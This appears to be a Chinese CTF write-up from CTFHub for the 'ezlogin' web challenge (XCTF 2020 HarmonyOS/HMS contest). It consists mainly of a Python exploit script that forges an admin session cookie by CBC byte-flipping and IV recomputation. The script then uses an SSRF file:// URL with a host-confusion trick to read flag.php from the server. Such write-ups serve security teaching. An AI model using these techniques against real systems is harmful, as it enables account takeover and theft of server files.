ezlogin

发表于 2021-01-07 分类于 Challenge， 2020， XCTF高校网络安全专题挑战赛， HarmonyOS和HMS专场， Web
Challenge | 2020 | XCTF高校网络安全专题挑战赛 | HarmonyOS和HMS专场 | Web | ezlogin

点击此处获得更好的阅读体验

WriteUp来源

来自官方发布

https://www.xctf.org.cn/library/details/5acdc1c31cf4935ac38fce445978888a5710cf11/

题目说明

> *一个平平无奇的登录界面*

题目考点

- *CBC字节翻转攻击*
- *SSRF攻击*

解题思路

```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import urllib
import requests
import re
import base64

url = "http://0.0.0.0:20001/"
data = {
    "username":"1dmin",
    "password":"1231111",
    "submit":"Login"
}
r = requests.post(url=url,data=data)
list = r.headers['Set-Cookie'].split(", ")
iv = urllib.unquote(list[1][4:])
cipher = base64.b64decode(urllib.unquote(list[2][10:]))
phpsessid = list[0].split(";")[0][10:]
block = []
for i in range(0,len(cipher),16):
    block.append(cipher[i:i+16])
replace = chr(ord(block[0][9]) ^ ord('1') ^ ord('a'))
block[0] = block[0][:9]+replace+block[0][10:]
iv = base64.b64decode(iv)
cipher_new = ""
for i in range(0,len(block)):
    cipher_new += block[i]

cookie={
    "PHPSESSID":phpsessid,
    "user_info":urllib.quote(base64.b64encode(cipher_new)),
    "key":urllib.quote(base64.b64encode(iv))
}
s = requests.get(url=url,cookies=cookie)
res_tr = r"<p>.*?</p>"
m_tr =  re.findall(res_tr,s.content)
base = m_tr[0][3:-4]
plain = base64.b64decode(base)[:16]
want = 'a:2:{s:8:"userna'
first_16 = ''
for i in range(16):
    first_16 += chr(ord(plain[i]) ^ ord(iv[i]) ^ ord(want[i]))
newiv = first_16

cookie={
    "PHPSESSID":phpsessid,
    "user_info":urllib.quote(base64.b64encode(cipher_new)),
    "key":urllib.quote(base64.b64encode(newiv))
}
k = requests.get(url=url,cookies=cookie)
url2 = url+'mmman4g.php?url=FILe://@127.0.0.1:80@www.harmonyos.com/.//../../var/www/html/flag.php'
cookie = {
    "PHPSESSID":phpsessid
}

r = requests.get(url=url2,cookies = cookie)
res_tr = r"'.*?}'"
m_tr =  re.findall(res_tr,r.content)
print 'admin PHPSESSID:',phpsessid
print m_tr[0][1:-1]
```

- ***本文作者：*** *CTFHub*
- ***本文链接：*** *https://writeup.ctfhub.com/Challenge/2020/XCTF高校网络安全专题挑战赛/HarmonyOS和HMS专场/Web/dZCK7fvsWssGoXMcBgpL32.html*
- ***版权声明：*** *本博客所有文章除特别声明外，均采用 BY-NC-SA 许可协议。转载请注明出处！*

#Challenge #2020 #Web #XCTF高校网络安全专题挑战赛 #HarmonyOS和HMS专场
华为HCIE的第一课
harmodriver